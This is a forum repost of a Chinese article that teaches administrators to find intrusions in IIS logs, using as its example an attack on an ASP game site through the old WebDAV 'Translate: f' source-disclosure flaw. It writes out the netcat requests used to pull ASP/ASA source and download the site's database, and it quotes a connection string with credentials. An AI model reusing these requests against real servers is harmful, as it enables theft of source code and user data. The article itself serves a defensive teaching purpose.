发新话题
打印

[转载]通过IIS日志来检测入侵实例

[转载]通过IIS日志来检测入侵实例

信息来源:www.1sky1.com

网站服务器对于网络成员的的信息共享提供了大大的方便,同时也带来了很多安全隐患,妥善的使用和管理网络资源成为了网络管理员的面临的严峻的考验。面对网络入侵者使用各种以知漏洞对网站服务器进行攻击,分析和防范网络入侵者的行为则成为解决网络安全问题的一个重要手段。微软的服务器系统Microsoft
Internet Information Server
(IIS)提供了一套相当有效的安全管理机制,并且也提供了一套强大的日志文件系统。学会读懂并分析这些日志对我们了解入侵者的行为是致关重要的,下面我们就通过分析一些详细的入侵案例来介绍如何通过监视日志文件来发现入侵者的行踪。

注:出于众所周知的原因,本文中的所有IP地址及域名等信息都经过修改。
常见HTTP状态码含义:
"200" : 完成
"202" : 接受
"300" : 多重选择
"302" : 发现
"400" : 错误请求
"404" : 未发现
"502" : CGI错误
实例一:通过原代码暴露漏洞得取程序数据库
笑傲江湖是近几年在国内兴起的一种使用asp脚本语言制作的网络游戏,很多网站为了增加访问量,都放置了这个游戏来吸引访问者。可以ASP脚本存在漏洞居多,而很多网管都没有对自己的服务器及时打补丁,导致攻击者可以轻易得到程序的原代码,并且访问存放用户信息的程序数据库。

日志显示:
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET
/xajh/index.asp\ - 200 –
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET
/xajh/login.asp\ - 200 –
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET
/xajh/conn.asp\ - 400 –
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET
/xajh/global.asa\ - 200 –
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET
/xajh/xajhdb/xajh.mdb - 200 –
背景知识:
在win2000及office 2000(包括FrontPage 2000及FrontPage 2000 server
extensions)里的WebDAV存在着一个安全问题Translate:f。当某人往目标机器的ASP/ASA(或者其它脚本文件)发送包含有"Translate:f"文件头的HTTP
GET请求时,windows2000(没有打过SP1补丁的——现在打补丁的还不是很多吧:)会返回该ASP/ASA的源代码而不是本该返回的经过处理的文件(还需要在url的结尾加上一个特殊字符"/")。虽然这个漏洞出现于windows2000,但由于有些站点虽然仅使用IIS
4.0,但却安装了FrontPage Server Extensions 2000,所以这一影响可能会扩展到IIS
4.0的机器上。
分析:
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET
/xajh/index.asp\ - 200 –
说明:攻击者发现了漏洞,并开始获取以知页面程序的原代码。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /index.asp\ HTTP/1.1 Translate: f
2001-06-23 03:00:19 10.1.1.1 - 10.1.1.1 80 GET
/xajh/login.asp\ - 200 –
说明:入侵者开始尝试得到一些关键程序的原代码,例如这个登陆程序。一般的这种脚本程序都会直接在这种登陆程序里连接一些包含敏感信息的数据库或其它连接程序。

攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /login.asp\ HTTP/1.1 Translate: f
2001-06-23 03:00:58 10.1.1.1 - 10.1.1.1 80 GET
/xajh/conn.asp\ - 400 –
说明:看来入侵者没有在刚才的登陆程序中得到他想要的程序,我们可以看看这个login程序的原代码:
<%
a=request.queryString("a")
if a="" or a="login" then
set logon=Server.CreateObject("xajh.xajh20")
mess=logon.login
set logon=nothing
end if
if a="register" then
set xajh=server.createobject("xajh.xajh20")
mess=xajh.register
set xajh=nothing
end if
if a="modifypassword" then
set xajh=server.createobject("xajh.xajh20")
mess=xajh.modifypassword
set xajh=nothing
end if
if a="exit" then
Session.Abandon
mess="index.asp"
end if
response.redirect mess
%>
程序编的很谨慎,没有连接任何敏感的文件或页面,我们的这位朋友看来有点头疼了。所以他开始瞎猜页面程序,可以看出这回他请求了conn.asp这个页面,值得提醒的是一般程序的数据库连接文件都是这个名字。可惜的是这个笑傲江湖程序不是,我们可以看到返回的状态码是400,也就是没有找到页面。

攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /conn.asp\ HTTP/1.1 Translate: f
2001-06-23 03:01:13 10.1.1.1 - 10.1.1.1 80 GET
/xajh/logs.asp\ - 200 –
从日志上的时间来看,这回攻击和上回相差了很长时间,估计这位朋友自己也没办法,所以去请教朋友或者去自己下载了这套笑傲江湖程序的原代码,然后回来了以后一击命中,找到了这个程序的重要连接程序:global.asa,这个程序是用来指定事件脚本的,而在这个这个游戏程序中,编写者使用它来声明Application和Session,而且存放数据库的地址和密码等。我们来看看这个程序的部分代码,里面有很多东西,我们选了最重要的这段:

&#39;Application("dbs")="Provider=Microsoft.Jet.OLEDB.4.0;Data
Source=\xajhdb\xajh.mdb"
&#39;Application("dbs")="driver={SQL
Server};server=127.0.0.1;uid=xajh;pwd=xajh;database=xajh"
看来这个程序用了两个数据库,一个是MDB,在\xajhdb\xajh.mdb,另一个则是SQL数据库,是本地地址,用户名和密码都是xajh。

攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /global.asa\ HTTP/1.1 Translate: f
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET
/xajh/xajhdb/xajh.mdb - 200 –
说明:找到了数据库地址,当然是赶紧下载回来了。另外我们后来来发现这个入侵者通过登陆SQL数据库在我们的服务器执行了一些命令。

攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /xajh/xajhdb/xajh.mdb HTTP/1.1
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题